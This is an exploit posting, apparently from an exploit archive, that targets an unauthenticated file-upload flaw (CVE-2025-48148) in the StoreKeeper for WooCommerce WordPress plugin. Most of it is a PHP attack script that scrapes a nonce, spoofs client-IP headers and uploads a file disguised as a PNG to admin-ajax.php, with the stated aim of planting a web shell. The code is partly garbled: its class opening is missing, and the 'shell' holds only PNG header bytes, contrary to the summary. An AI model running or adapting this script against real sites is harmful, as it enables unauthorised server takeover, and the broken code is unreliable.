============================================================================================================================================= | # Title : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/storekeeper-for-woocommerce/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/210872/ & CVE-2025-48148 [+] Summary : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise. [+] Risk Assessment : - **Attack Vector**: Network-based, no authentication required - **Attack Complexity**: Low - **Privileges Required**: None - **User Interaction**: None The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler. [+] Usage: Usage: php poc.php -u [--debug] Example: php poc.php -u http://site.com/ [--debug] [+] POC : setupLogger($debug); } private function setupLogger($debug) { $this->logger = function($message, $level = 'INFO') { $timestamp = date('Y-m-d H:i:s'); echo "[$timestamp] [$level] $message\n"; }; } private function log($message, $level = 'INFO') { call_user_func($this->logger, $message, $level); } public function getNonce($site_url) { $headers = [ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept: */*", "Connection: close", "Referer: " . $site_url, "X-Forwarded-For: 127.0.0.1", "X-Originating-IP: 127.0.0.1", "X-Remote-IP: 127.0.0.1", "X-Remote-Addr: 127.0.0.1" ]; $this->log("Requesting site for nonce extraction..."); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $site_url, CURLOPT_HTTPHEADER => $headers, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_RETURNTRANSFER => true ]); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($error) { $this->log("Error fetching URL: $error", 'ERROR'); exit(1); } if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) { $nonce_val = $matches[1]; $this->log("Nonce extracted: $nonce_val"); return $nonce_val; } $this->log("Nonce not found!", 'ERROR'); exit(1); } public function writeShell($filename = "indoushka.php") { $shell_content = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A"; if (file_put_contents($filename, $shell_content) !== false) { $this->log("Shell file created: $filename"); return true; } else { $this->log("Failed to create shell file: $filename", 'ERROR'); return false; } } public function uploadShell($site_url, $nonce, $shell_path) { $base = rtrim(explode('/wp-admin/', $site_url)[0], '/'); $ajax_url = $base . "/wp-admin/admin-ajax.php"; $this->log("Uploading shell to $ajax_url ..."); if (!file_exists($shell_path)) { $this->log("Shell file not found: $shell_path", 'ERROR'); exit(1); } $post_data = [ 'action' => 'upload_product_image', 'nonce' => $nonce, 'file' => new CURLFile($shell_path, 'image/png', 'indoushka.php') ]; $headers = [ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0", "Referer: " . $site_url, "X-Requested-With: XMLHttpRequest", "Accept: */*", "Connection: close", "X-Forwarded-For: 127.0.0.1", "X-Originating-IP: 127.0.0.1", "X-Remote-IP: 127.0.0.1", "X-Remote-Addr: 127.0.0.1", "Pragma: no-cache", "Cache-Control: no-cache" ]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $ajax_url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $post_data, CURLOPT_HTTPHEADER => $headers, CURLOPT_TIMEOUT => 15, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_RETURNTRANSFER => true ]); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($error) { $this->log("Upload failed: $error", 'ERROR'); exit(1); } $this->log("Upload response:"); echo $response . "\n"; return $response; } public function execute($url, $debug = false) { if ($debug) { $this->log("Debug logging enabled", 'DEBUG'); } try { $nonce = $this->getNonce($url); $this->writeShell("indoushka.php"); $this->uploadShell($url, $nonce, "indoushka.php"); $this->log("Operation completed."); } catch (Exception $e) { $this->log("Operation failed: " . $e->getMessage(), 'ERROR'); exit(1); } } } if (php_sapi_name() === 'cli') { $options = getopt("u:", ["url:", "debug"]); $url = $options['u'] ?? $options['url'] ?? null; $debug = isset($options['debug']); if (!$url) { echo "Usage: php exploit.php -u [--debug]\n"; echo "Example: php exploit.php -u http://site.com/ [--debug]\n"; exit(1); } $uploader = new NxploitedShellUploader($debug); $uploader->execute($url, $debug); } else { echo "This script is intended for command line use only.\n"; } if (function_exists('curl_version')) { } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================